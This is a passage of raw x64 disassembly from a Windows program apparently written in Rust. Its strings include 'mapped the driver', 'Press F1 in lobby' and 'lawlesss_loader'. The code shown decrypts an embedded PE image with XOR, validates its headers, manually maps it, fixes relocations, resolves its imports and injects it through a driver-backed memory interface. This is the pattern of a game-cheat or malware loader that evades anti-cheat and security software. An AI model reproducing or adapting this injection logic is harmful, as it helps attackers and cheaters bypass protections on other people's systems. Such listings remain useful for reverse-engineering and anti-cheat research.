mov r8, qword [rbp + 0x2f0]
call rbx
lea rcx, [rbp + 0x1c0]
call fcn.1400031f0
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, qword [rbp + 0x50]
call rbx
mov r8, qword [rbp + 0x318]
mov word [r8], 0
cmp qword [rbp + 0x48], 0
je 0x14001b7b9
mov rcx, qword [0x14021f8e0]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, qword [rbp + 0x90]
call qword [sym.imp.kernel32.dll_HeapFree]
lea rsi, [r12 + 8]
mov rdi, qword [rbp + 0x1a0]
mov rbx, qword [rbp + 0xf8]
jmp 0x14001b7f9
add rsi, 0x38
dec r14
je 0x14001b814
cmp qword [rsi - 8], 0
je 0x14001b7f0
mov r8, qword [rsi]
mov rcx, qword [0x14021f8e0]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14001b7f0
test rbx, rbx
je 0x14001b82b
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, qword [rbp + 0x308]
mov word [r8], 0
cmp qword [rbp + 0xf0], 0
je 0x14001b851
mov rcx, qword [0x14021f8e0]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r12, r13
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, qword [rbp + 0x290]
jmp 0x14001ca17
mov ecx, 8
jmp 0x14001b883
mov ecx, 9
jmp 0x14001b883
mov ecx, 0xa
jmp 0x14001b883
mov ecx, 0xb
mov qword [rbp + 0x1c0], 0xd
mov qword [rbp + 0x1c8], rax
mov qword [rbp + 0x1d0], 0xc
mov qword [rbp + 0x1d8], rcx
lea rcx, [rbp + 0x1c0]
call fcn.1400b0ff0
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx]
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
cmp rdi, 1
jne 0x14001bb7d
mov edi, dword [r13]
cmp qword [rbp + 0x318], 0
je 0x14001b8f7
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, qword [rbp + 0x68]
mov rbx, qword [rbp + 0x70]
mov rcx, r14
mov edx, edi
call qword [rbx + 0x20]
mov r12, rax
test rax, rax
mov rdi, qword [rbp + 0x1a0]
jne 0x14001ca1d
lea rcx, [rbp + 0x68]
call fcn.140013c00
test rax, rax
jne 0x14001c01e
lea rax, str.mapped_the_driver_n
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], 1
mov qword [rbp + 0x1d0], 8
xorps xmm6, xmm6
movups xmmword [rbp + 0x1d8], xmm6
lea rcx, [rbp + 0x1c0]
call case.0x1400878fd.213
lea rax, str.Press_F1_in_lobby_n
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], 1
mov qword [rbp + 0x1d0], 8
movups xmmword [rbp + 0x1d8], xmm6
lea rcx, [rbp + 0x1c0]
call case.0x1400878fd.213
mov rsi, qword [sym.imp.user32.dll_GetAsyncKeyState]
mov ecx, 0x70
call rsi
test al, 1
jne 0x14001b9c7
nop
xor ecx, ecx
mov edx, 0x2faf080
call fcn.140085e10
mov ecx, 0x70
call rsi
test al, 1
je 0x14001b9b0
movzx eax, byte [0x14021f978]
mov edx, 0xef600
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001dd99
mov r13, rax
lea rdx, [0x1400e7210]
mov r8d, 0xef600
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov eax, 0x30
movdqa xmm0, xmmword [0x1400b7870]
nop dword [rax + rax]
movdqu xmm1, xmmword [r13 + rax - 0x30]
movdqu xmm2, xmmword [r13 + rax - 0x20]
movdqu xmm3, xmmword [r13 + rax - 0x10]
movdqu xmm4, xmmword [r13 + rax]
pxor xmm1, xmm0
pxor xmm2, xmm0
movdqu xmmword [r13 + rax - 0x30], xmm1
movdqu xmmword [r13 + rax - 0x20], xmm2
pxor xmm3, xmm0
pxor xmm4, xmm0
movdqu xmmword [r13 + rax - 0x10], xmm3
movdqu xmmword [r13 + rax], xmm4
add rax, 0x40
cmp rax, 0xef630
jne 0x14001ba10
mov cl, 4
test r13b, 3
jne 0x14001ca03
cmp word [r13], 0x5a4d
jne 0x14001bf46
mov eax, dword [r13 + 0x3c]
test al, 3
jne 0x14001ca03
cmp eax, 0x1000000
ja 0x14001bf4d
cmp eax, 0xef578
ja 0x14001bf3f
cmp dword [r13 + rax], 0x4550
jne 0x14001bf46
movzx edx, word [r13 + rax + 0x18]
cmp edx, 0x20b
je 0x14001baca
mov cl, 5
cmp edx, 0x10b
jne 0x14001ca03
mov ecx, dword [r13 + rax + 0x54]
cmp ecx, 0xef600
ja 0x14001bf3f
cmp ecx, dword [r13 + rax + 0x50]
ja 0x14001bf4d
movzx ecx, dx
cmp ecx, 0x20b
jne 0x14001ca01
lea rcx, [rax + 0x88]
mov edx, dword [r13 + rax + 0x84]
cmp edx, 0x10
mov r8d, 0x10
cmovb r8d, edx
lea rcx, [rcx + r8*8]
cmp rcx, 0xef600
ja 0x14001bf3f
movzx edx, word [r13 + rax + 6]
mov cl, 7
cmp rdx, 0x60
ja 0x14001ca03
lea rcx, [rdx + rdx*4]
lea rcx, [rax + rcx*8]
movzx eax, word [r13 + rax + 0x14]
add rax, rcx
add rax, 0x18
mov cl, 1
cmp rax, 0xef600
ja 0x14001ca03
mov eax, dword [r13 + 0x3c]
mov edx, dword [r13 + rax + 0x50]
mov rcx, r14
mov r8d, 0x40
call qword [rbx + 0x48]
test rax, rax
je 0x14001bdfc
mov r12, rdx
jmp 0x14001ca0b
xor esi, esi
mov r12, r13
lea r13, [rbp + 0x320]
lea rbx, [0x140002b60]
lea r15, [0x1400b9ba8]
lea r14, [rbp + 0x110]
mov qword [rbp + 0x290], r12
nop word cs:[rax + rax]
mov qword [rbp + 0x2c0], rsi
inc rsi
mov qword [rbp + 0x320], 1
mov qword [rbp + 0x328], 0
lea rax, [rbp + 0x2c0]
mov qword [rbp + 0x1c0], rax
lea rax, [fcn.140028dd0]
mov qword [rbp + 0x1c8], rax
mov qword [rbp + 0x1d0], r12
lea rax, [0x140029de0]
mov qword [rbp + 0x1d8], rax
mov qword [rbp + 0x1e0], r13
mov qword [rbp + 0x1e8], rbx
mov qword [rbp + 0x110], r15
mov qword [rbp + 0x118], 4
mov qword [rbp + 0x130], 0
lea rax, [rbp + 0x1c0]
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], 3
mov rcx, r14
call case.0x1400878fd.213
add r12, 4
cmp rdi, rsi
jne 0x14001bbb0
lea rcx, [rbp + 0x2a0]
call fcn.140016cb0
mov rax, rdi
shr rax, 0x20
jne 0x14001bf54
lea r15, str._src_main.rs:74:53__x___arr_size_
lea rsi, [rbp + 0xa0]
lea rbx, [0x14020c6be]
lea r14, [rbp + 0x320]
jmp 0x14001bcb0
movupd xmm0, xmmword [rbp + 0x1c0]
movapd xmmword [rbp + 0x2a0], xmm0
mov r13d, dword [rbp + 0x2a0]
test r13d, r13d
jne 0x14001bdae
mov r12d, dword [rbp + 0x2a4]
cmp r12d, edi
setb byte [rbp + 0x1bf]
lea rax, [rbp + 0x1bf]
mov qword [rbp + 0x38], rax
lea rax, [rbp + 0x38]
mov qword [rbp + 0xa0], rax
lea rax, [0x1400026b0]
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0x1c0], 2
mov qword [rbp + 0x1d0], 2
mov qword [rbp + 0x1e0], 0
movabs rax, 0x400000020
mov qword [rbp + 0x1e8], rax
mov byte [rbp + 0x1f0], 3
mov qword [rbp + 0x320], r15
mov qword [rbp + 0x328], 2
lea rax, [rbp + 0x1c0]
mov qword [rbp + 0x340], rax
mov qword [rbp + 0x348], 1
mov qword [rbp + 0x330], rsi
mov qword [rbp + 0x338], 1
mov qword [rbp + 0xc0], rbx
mov qword [rbp + 0xc8], 6
mov rcx, r14
call fcn.140091580
test al, al
jne 0x14001bda9
lea rax, [0x14021f958]
mov qword [rbp + 0x30], rax
lea rcx, [rbp + 0x30]
mov rdx, r14
call case.0x140066beb.1075
test rax, rax
jne 0x14001d2c2
cmp r12d, edi
jb 0x14001bdd4
lea rcx, [rbp + 0x1c0]
call fcn.140016cb0
test r13d, r13d
je 0x14001bca0
mov rcx, qword [rbp + 0x2a8]
mov rax, qword [rcx]
call qword [rax]
jmp 0x14001bca0
cmp rdi, r12
jbe 0x14001dd66
mov r13, qword [rbp + 0x290]
mov edi, dword [r13 + r12*4]
cmp qword [rbp + 0x318], 0
jne 0x14001b8e5
jmp 0x14001b8f7
test rdx, rdx
je 0x14001ccd4
mov cl, 5
cmp word [r13], 0x5a4d
jne 0x14001ebbd
mov eax, dword [r13 + 0x3c]
test al, 3
jne 0x14001ebb7
cmp eax, 0x1000000
ja 0x14001ea51
cmp eax, 0xef578
ja 0x14001e9d5
mov qword [rbp + 0xf0], rdx
cmp dword [r13 + rax], 0x4550
jne 0x14001ebbd
movzx edx, word [r13 + rax + 0x18]
cmp edx, 0x20b
je 0x14001be66
cmp edx, 0x10b
jne 0x14001ebbd
mov ecx, dword [r13 + rax + 0x54]
cmp ecx, 0xef600
ja 0x14001e9d5
mov esi, dword [r13 + rax + 0x50]
cmp ecx, esi
ja 0x14001ea51
movzx ecx, dx
cmp ecx, 0x20b
jne 0x14001ebbb
lea rcx, [rax + 0x88]
mov edx, dword [r13 + rax + 0x84]
cmp edx, 0x10
mov r8d, 0x10
cmovb r8d, edx
lea rcx, [rcx + r8*8]
cmp rcx, 0xef600
ja 0x14001e9d5
movzx edx, word [r13 + rax + 6]
mov cl, 7
cmp rdx, 0x60
ja 0x14001ebbd
lea rcx, [rdx + rdx*4]
lea rcx, [rax + rcx*8]
movzx r8d, word [r13 + rax + 0x14]
lea r9, [r8 + rcx]
add r9, 0x18
mov cl, 1
cmp r9, 0xef601
jae 0x14001ebbd
test esi, esi
mov qword [rbp + 0x2f0], rbx
mov qword [rbp + 0x308], r14
je 0x14001c0b0
mov ecx, 8
mov rdx, rsi
call fcn.14009fb80
test rax, rax
je 0x14001ebcf
mov qword [rbp + 0x300], rax
mov eax, dword [r13 + 0x3c]
movzx r8d, word [r13 + rax + 0x14]
movzx edx, word [r13 + rax + 6]
jmp 0x14001c0bc
mov cl, 1
jmp 0x14001ca03
mov cl, 5
jmp 0x14001ca03
mov cl, 7
jmp 0x14001ca03
call fcn.1400b1020
mov r12, rax
cmp dword [rbp + 0x2a0], 0
je 0x14001bf71
mov rcx, qword [rbp + 0x2a8]
mov rax, qword [rcx]
call qword [rax]
mov rdi, qword [rbp + 0x1a0]
mov rbx, qword [rbp + 0x290]
mov rsi, qword [rbp + 0x318]
test rsi, rsi
jne 0x14001b65c
jmp 0x14001ca1d
call qword [sym.imp.kernel32.dll_GetLastError]
movzx edx, ax
or edx, 0x80070000
test eax, eax
cmovle edx, eax
test edx, edx
mov ecx, 0x535f4f4b
cmovne ecx, edx
call fcn.1400b10b0
jmp 0x14001bff5
lea rax, str.not_found
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], 1
mov qword [rbp + 0x1d0], 8
xorpd xmm0, xmm0
movupd xmmword [rbp + 0x1d8], xmm0
lea rcx, [rbp + 0x1c0]
call fcn.1400b11a0
mov byte [rbx], 0
test r15, r15
je 0x14001b8b3
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rbx
mov rsi, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, rsi
jmp 0x14001b8b3
mov qword [rbp + 0x2c0], rax
lea rax, [rbp + 0x2c0]
mov qword [rbp + 0x320], rax
lea rax, [0x140028b80]
mov qword [rbp + 0x328], rax
lea rax, str.An_error_occured_:
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], 1
mov qword [rbp + 0x1e0], 0
lea rax, [rbp + 0x320]
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x1d8], 1
lea rsi, [rbp + 0x110]
lea rdx, [rbp + 0x1c0]
mov rcx, rsi
call fcn.140008200
mov rcx, rsi
call fcn.1400b09b0
mov r12, rax
mov rcx, qword [rbp + 0x2c0]
mov rax, qword [rcx]
call qword [rax]
jmp 0x14001ca1d
mov ecx, 1
mov qword [rbp + 0x300], rcx
test dx, dx
mov qword [rbp + 0xf8], rsi
je 0x14001c21f
add rax, r13
lea rsi, [r8 + rax]
add rsi, 0x18
movzx eax, dx
shl eax, 3
lea rbx, [rax + rax*4]
lea rdi, [rbp + 0x1c0]
mov r14d, 0x6c65722e
mov r15d, 0x6164692e
mov r12d, 0x7273722e
jmp 0x14001c127
mov edx, dword [rsi + 0x14]
add rdx, r13
mov ecx, dword [rsi + 0xc]
mov r8d, dword [rsi + 0x10]
add rcx, qword [rbp + 0x300]
call sub.VCRUNTIME140.dll_memcpy
add rsi, 0x28
add rbx, 0xffffffffffffffd8
je 0x14001c21b
mov r8d, 8
cmp byte [rsi + 7], 0
jne 0x14001c190
mov r8d, 7
cmp byte [rsi + 6], 0
jne 0x14001c190
mov r8d, 6
cmp byte [rsi + 5], 0
jne 0x14001c190
mov r8d, 5
cmp byte [rsi + 4], 0
jne 0x14001c190
mov r8d, 4
cmp byte [rsi + 3], 0
jne 0x14001c190
mov r8d, 3
cmp byte [rsi + 2], 0
jne 0x14001c190
mov r8d, 2
cmp byte [rsi + 1], 0
jne 0x14001c190
xor r8d, r8d
cmp byte [rsi], 0
setne r8b
nop word cs:[rax + rax]
mov rcx, rdi
mov rdx, rsi
call fcn.14002a4b0
movzx ecx, byte [rbp + 0x1c0]
mov rax, rsi
test cl, cl
jne 0x14001c1b0
mov rax, qword [rbp + 0x1c8]
test cl, 1
jne 0x14001c100
mov rcx, qword [rbp + 0x1d0]
cmp rcx, 6
je 0x14001c1e9
cmp rcx, 5
jne 0x14001c100
mov ecx, dword [rax]
xor ecx, r12d
movzx eax, byte [rax + 4]
xor eax, 0x63
or eax, ecx
jne 0x14001c100
jmp 0x14001c119
mov ecx, dword [rax]
xor ecx, r14d
movzx edx, word [rax + 4]
xor edx, 0x636f
or edx, ecx
je 0x14001c119
mov ecx, dword [rax]
xor ecx, r15d
movzx eax, word [rax + 4]
xor eax, 0x6174
or eax, ecx
jne 0x14001c100
jmp 0x14001c119
mov eax, dword [r13 + 0x3c]
mov ebx, eax
mov rsi, qword [rbp + 0xf0]
sub rsi, qword [r13 + rbx + 0x30]
jne 0x14001c23b
mov r14, qword [rbp + 0x308]
jmp 0x14001c336
mov eax, 1
mov qword [rbp + 0x90], rax
cmp dword [r13 + rbx + 0x84], 6
mov r14, qword [rbp + 0x308]
jb 0x14001cd56
mov r9d, dword [r13 + rbx + 0xb0]
mov edi, dword [r13 + rbx + 0xb4]
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x28], 4
lea rcx, [rbp + 0x1c0]
mov r8d, 0xef600
mov rdx, r13
call fcn.140074e20
mov rdx, qword [rbp + 0x1c0]
test rdx, rdx
je 0x14001cd2a
xor eax, eax
mov rbx, qword [rbp + 0x300]
nop dword [rax]
cmp rdi, 7
jbe 0x14001c332
mov rcx, rdx
mov r9d, dword [rdx + 4]
cmp r9, rdi
mov r8, r9
cmovae r8, rdi
sub r8, 8
cmovb r8, rax
cmp r9d, 9
mov edx, 8
cmovae edx, r9d
add edx, 3
and edx, 0xfffffffc
cmp rdx, rdi
cmovae rdx, rdi
sub rdi, rdx
add rdx, rcx
cmp r8, 2
jb 0x14001c2b0
shr r8d, 1
add r8d, r8d
xor r9d, r9d
jmp 0x14001c317
and r10d, 0xfff
add r10d, dword [rcx]
add qword [rbx + r10], rsi
add r9, 2
cmp r8, r9
je 0x14001c2b0
movzx r10d, word [rcx + r9 + 8]
mov r11d, r10d
shr r11d, 0xc
cmp r11b, 0xa
je 0x14001c300
cmp r11d, 3
je 0x14001c300
jmp 0x14001c30e
mov ebx, dword [r13 + 0x3c]
mov dil, 1
cmp dword [r13 + rbx + 0x84], 2
jb 0x14001cd15
mov r9d, dword [r13 + rbx + 0x90]
mov qword [rsp + 0x28], 4
mov qword [rsp + 0x20], 0
lea rcx, [rbp + 0x1c0]
mov r8d, 0xef600
mov rdx, r13
call fcn.140074e20
mov r15, qword [rbp + 0x1c0]
mov eax, 0x101
test r15, r15
je 0x14001cd23
mov qword [rbp + 0x90], rax
mov rcx, qword [rbp + 0x1c8]
cmp rcx, 0x14
jb 0x14001cd59
mov r8d, 0x14
xor eax, eax
mov rdx, qword [rbp + 0xf0]
nop word cs:[rax + rax]
cmp dword [r15 + r8 - 4], 0
je 0x14001c3d9
inc rax
add r8, 0x14
cmp r8, rcx
jbe 0x14001c3c0
jmp 0x14001cd59
test rax, rax
mov qword [rbp + 0x290], r13
je 0x14001caa5
lea rax, [rax + rax*4]
lea rax, [r15 + rax*4]
mov qword [rbp + 0xb8], rax
lea rsi, [rbp + 0x1c0]
mov rbx, qword [rbp + 0x300]
jmp 0x14001c43b
mov rax, qword [rbp + 0x1b0]
mov r15, rax
cmp rax, qword [rbp + 0xb8]
mov r13, qword [rbp + 0x290]
mov r14, qword [rbp + 0x308]
mov rbx, qword [rbp + 0x300]
lea rsi, [rbp + 0x1c0]
je 0x14001ca9a
mov r9d, dword [r15 + 0xc]
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r8d, 0xef600
mov rcx, rsi
mov rdx, r13
call fcn.140074e20
mov rcx, qword [rbp + 0x1c0]
test rcx, rcx
je 0x14001dda8
mov rdx, qword [rbp + 0x1c8]
mov al, 0xa
test rdx, rdx
je 0x14001ddaf
lea r14, [r15 + 0x14]
xor r8d, r8d
nop dword [rax + rax]
cmp byte [rcx + r8], 0
je 0x14001c4a4
inc r8
cmp rdx, r8
jne 0x14001c490
jmp 0x14001ddaf
inc r8
mov qword [rbp + 0x2c0], rcx
mov qword [rbp + 0x2c8], r8
mov r9d, dword [r15]
mov qword [rsp + 0x28], 8
mov qword [rsp + 0x20], 0
mov r8d, 0xef600
mov rcx, rsi
mov rdx, r13
call fcn.140074e20
mov r13, qword [rbp + 0x1c0]
test r13, r13
je 0x14001cdb8
mov rax, qword [rbp + 0x1c8]
mov dil, 1
cmp rax, 8
jb 0x14001c9f5
mov ecx, 8
xor ebx, ebx
xor esi, esi
nop dword [rax + rax]
cmp qword [r13 + rsi*8], 0
je 0x14001c52d
inc rsi
add rcx, 8
add rbx, 8
cmp rcx, rax
jbe 0x14001c510
jmp 0x14001c9ee
mov rax, rsi
shr rax, 0x3b
jne 0x14001d876
mov rdi, rsi
shl rdi, 5
movabs rax, 0x7ffffffffffffff9
cmp rdi, rax
jae 0x14001d876
mov qword [rbp + 0x1b0], r14
test rdi, rdi
je 0x14001c592
movzx eax, byte [0x14021f978]
xor ecx, ecx
mov rdx, rdi
call fcn.14009fb80
mov qword [rbp + 0x1a8], rsi
mov qword [rbp + 0x318], rax
test rax, rax
je 0x14001e321
test rsi, rsi
jne 0x14001c5b2
jmp 0x14001c9c5
mov eax, 8
mov qword [rbp + 0x318], rax
mov qword [rbp + 0x1a8], 0
test rsi, rsi
je 0x14001c9c5
mov qword [rbp + 0x100], r15
mov qword [rbp + 0x298], rdi
xor r12d, r12d
mov qword [rbp + 0x2f8], r13
jmp 0x14001c61f
movzx edx, byte [rbp + 0x1c8]
mov cl, 1
xor r15d, r15d
xor r9d, r9d
mov r13, qword [rbp + 0x2f8]
movzx r10d, r15w
or r10, r9
mov r9, r12
shl r9, 5
mov r11, qword [rbp + 0x318]
mov byte [r11 + r9], cl
mov byte [r11 + r9 + 1], dl
mov qword [r11 + r9 + 8], rax
mov qword [r11 + r9 + 0x10], r10
mov qword [r11 + r9 + 0x18], r8
inc r12
cmp r12, rsi
je 0x14001c714
mov r15, qword [r13 + r12*8]
test r15, r15
js 0x14001c6f0
mov qword [rsp + 0x28], 2
mov qword [rsp + 0x20], 2
mov r8d, 0xef600
lea rdi, [rbp + 0x1c0]
mov rcx, rdi
mov r13, qword [rbp + 0x290]
mov rdx, r13
mov r9d, r15d
call fcn.140074e20
mov r14, qword [rbp + 0x1c0]
test r14, r14
je 0x14001c5d0
add r15d, 2
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r8d, 0xef600
mov rcx, rdi
mov rdx, r13
mov r9d, r15d
call fcn.140074e20
mov rax, qword [rbp + 0x1c0]
test rax, rax
je 0x14001c5d0
mov r8, qword [rbp + 0x1c8]
mov cl, 1
mov dl, 0xa
test r8, r8
mov r13, qword [rbp + 0x2f8]
je 0x14001c6df
xor r15d, r15d
nop word cs:[rax + rax]
cmp byte [rax + r15], 0
je 0x14001c6fc
inc r15
cmp r8, r15
jne 0x14001c6d0
xor r15d, r15d
xor r9d, r9d
jmp 0x14001c5e6
xor eax, eax
xor r9d, r9d
xor ecx, ecx
jmp 0x14001c5e6
inc r15
movzx r8d, word [r14]
mov r9, r15
and r9, 0xffffffffffff0000
xor ecx, ecx
jmp 0x14001c5e6
mov rax, qword [rbp + 0x100]
mov eax, dword [rax + 0x10]
add rax, qword [rbp + 0x300]
mov qword [rbp + 0x100], rax
mov rdi, qword [rbp + 0x298]
mov rax, qword [rbp + 0x318]
add rdi, rax
lea rdx, [rax + 0x10]
xor r14d, r14d
mov qword [rbp + 0x2f8], rdx
jmp 0x14001c78c
sub r13, qword [rbp + 0x298]
add r13, qword [rbp + 0x110]
mov rax, qword [rbp + 0x100]
mov qword [rax + r14], r13
nop word cs:[rax + rax]
mov rdx, qword [rbp + 0x2f8]
add r14, 8
add rbx, 0xfffffffffffffff8
add rsi, 0x20
cmp rsi, rdi
je 0x14001c9c5
movzx eax, byte [rdx + r14*4 - 0x10]
cmp al, 2
je 0x14001c9c5
test rbx, rbx
je 0x14001c9c5
lea rsi, [rdx + r14*4]
add rsi, 0xfffffffffffffff0
mov r13, qword [rsi + 8]
test r13, r13
sete cl
or al, cl
test al, 1
jne 0x14001c777
mov rax, qword [rdx + r14*4]
mov qword [rbp + 0x320], r13
mov qword [rbp + 0x328], rax
mov r15, qword [rbp + 0x2c0]
mov r12, qword [rbp + 0x2c8]
mov rcx, r15
call qword [sym.imp.kernel32.dll_LoadLibraryA]
test rax, rax
je 0x14001c88d
mov qword [rbp + 0x298], rax
mov rcx, rax
mov rdx, r13
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x14001c893
mov r13, rax
mov qword [rbp + 0x110], 0
mov dword [rbp + 0xc0], 0
dec r12
lea rcx, [rbp + 0x1c0]
mov rdx, r15
mov r8, r12
call fcn.14002a4b0
test byte [rbp + 0x1c0], 1
jne 0x14001c893
mov rdx, qword [rbp + 0x1c8]
mov r8, qword [rbp + 0x1d0]
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0
mov rcx, qword [rbp + 0x308]
lea r9, [rbp + 0x110]
mov rax, qword [rbp + 0x2f0]
call qword [rax + 0x58]
test rax, rax
je 0x14001c74d
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx]
jmp 0x14001c893
call qword [sym.imp.kernel32.dll_GetLastError]
mov rax, qword [0x14021f7f8]
test rax, rax
je 0x14001c770
lea rax, [rbp + 0x2c0]
mov qword [rbp + 0x110], rax
lea rax, [0x140001bd0]
mov qword [rbp + 0x118], rax
lea rcx, [rbp + 0x320]
mov qword [rbp + 0x120], rcx
mov qword [rbp + 0x128], rax
mov rax, qword [0x14021f7d8]
cmp rax, 2
mov rax, qword [0x14021e008]
lea rcx, [0x1402091a0]
cmovne rax, rcx
mov rcx, qword [section..data]
lea rdx, [0x14020929a]
cmovne rcx, rdx
mov qword [rbp + 0x1f0], 1
lea r8, str.lawlesss_loader::aaaaFailed_to_aaaaaaaaaaaaaaaaaaaaaaaaae
mov qword [rbp + 0x1f8], r8
mov qword [rbp + 0x200], 0x15
lea rdx, str.import_:
mov qword [rbp + 0x210], rdx
mov qword [rbp + 0x218], 2
lea rdx, [rbp + 0x110]
mov qword [rbp + 0x220], rdx
mov qword [rbp + 0x228], 2
mov qword [rbp + 0x230], 0
mov qword [rbp + 0x1c0], 0
mov qword [rbp + 0x1c8], r8
mov qword [rbp + 0x1d0], 0x15
mov qword [rbp + 0x1d8], 0
lea rdx, str.src_aaaa.rs
mov qword [rbp + 0x1e0], rdx
mov qword [rbp + 0x1e8], 0xb
movabs rdx, 0x9f00000001
mov qword [rbp + 0x208], rdx
lea rdx, [rbp + 0x1c0]
call qword [rax + 0x20]
jmp 0x14001c770
cmp qword [rbp + 0x1a8], 0
je 0x14001c408
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, qword [rbp + 0x318]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14001c408
mov rbx, qword [rbp + 0x300]
mov r13, qword [rbp + 0x290]
jmp 0x14001cd60
mov cl, 6
call fcn.1400b10e0
mov r12, rax
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
test rdi, rdi
je 0x14001ca35
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, qword [rbp + 0x78]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rbp + 0x68]
mov rdi, qword [rbp + 0x70]
mov rax, qword [rdi]
test rax, rax
je 0x14001ca4a
mov rcx, rsi
call rax
cmp qword [rdi + 8], 0
je 0x14001ca6e
cmp qword [rdi + 0x10], 0x11
jb 0x14001ca5c
mov rsi, qword [rsi - 8]
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x40]
mov byte [rax], 1
mov rax, r12
movaps xmm6, xmmword [rbp + 0x360]
movaps xmm7, xmmword [rbp + 0x370]
add rsp, 0x408
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov ebx, dword [r13 + 0x3c]
mov rdx, qword [rbp + 0xf0]
mov edi, dword [r13 + rbx + 0x28]
mov rcx, r14
mov rsi, qword [rbp + 0x300]
mov r8, rsi
mov r9, qword [rbp + 0xf8]
mov rax, qword [rbp + 0x2f0]
call qword [rax + 0x70]
test rax, rax
je 0x14001cafb
mov r12, rax
cmp dword [rbp + 0xf8], 0
mov rdi, qword [rbp + 0x1a0]
je 0x14001ca0b
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14001ca0b
mov ecx, dword [r13 + 0x3c]
movzx eax, word [r13 + rcx + 6]
test rax, rax
je 0x14001cb9d
movzx edx, word [r13 + rcx + 0x14]
add rdx, rcx
lea rbx, [rdx + r13]
add rbx, 0x20
shl eax, 3
lea r14, [rax + rax*4]
xor r15d, r15d
lea rsi, [rbp + 0x1c0]
jmp 0x14001cb6e
mov dword [rbp + 0x1c0], 4
mov edx, dword [rbx + r15 + 4]
add rdx, qword [rbp + 0xf0]
mov rcx, qword [rbp + 0x308]
mov r9, rsi
mov rax, qword [rbp + 0x2f0]
call qword [rax + 0x40]
test rax, rax
jne 0x14001cd33
add r15, 0x28
cmp r14, r15
je 0x14001cb9d
mov r8d, dword [rbx + r15]
test r8, r8
je 0x14001cb65
mov dword [rbp + 0x1c0], 2
mov eax, dword [rbx + r15 + 0x1c]
test eax, eax
js 0x14001cb32
test eax, 0x20000000
je 0x14001cb3c
mov dword [rbp + 0x1c0], 0x20
jmp 0x14001cb3c
cmp dword [rbp + 0xf8], 0
je 0x14001cbbc
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, qword [rbp + 0x300]
call qword [sym.imp.kernel32.dll_HeapFree]
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x12c], xmm0
movdqu xmmword [rbp + 0x11c], xmm0
mov rax, qword [rbp + 0xf0]
mov qword [rbp + 0x110], rax
mov dword [rbp + 0x118], 0
mov qword [rbp + 0x140], 0
mov qword [rbp + 0x2c0], 0
mov dword [rbp + 0xc0], 0
lea rdx, str.user32.dlluser32.dll
lea rcx, [rbp + 0x1c0]
mov r8d, 0xa
call fcn.140001310
mov rax, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c8]
movabs rcx, 0x8000000000000001
mov r14, qword [rbp + 0x1d0]
cmp rax, rcx
jne 0x14001cdc4
mov qword [rbp + 0x320], rsi
mov qword [rbp + 0x328], r14
mov qword [rsp + 0x20], 0
lea rdx, [rbp + 0x320]
lea rbx, [rbp + 0x2c0]
lea r15, [rbp + 0xc0]
mov rcx, qword [rbp + 0x308]
mov r8, rbx
mov r9, r15
mov rax, qword [rbp + 0x2f0]
call qword [rax + 0x60]
mov word [rsi], 0
test rax, rax
je 0x14001cdf5
mov r12, rax
test r14, r14
je 0x14001cd94
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14001cd94
shl rax, 8
or rax, rcx
mov rcx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x1a0]
jmp 0x14001aa97
lea rax, [0x1400b94d8]
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], 1
mov qword [rbp + 0x1d0], 8
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x1d8], xmm0
lea rcx, [rbp + 0x1c0]
call fcn.1400b11a0
jmp 0x14001ca08
mov eax, 0x101
mov qword [rbp + 0x90], rax
jmp 0x14001cd59
mov qword [rbp + 0x90], rax
movzx edi, byte [rbp + 0x1c8]
jmp 0x14001cd59
mov r12, rax
mov rsi, qword [rbp + 0x300]
cmp dword [rbp + 0xf8], 0
mov rdi, qword [rbp + 0x1a0]
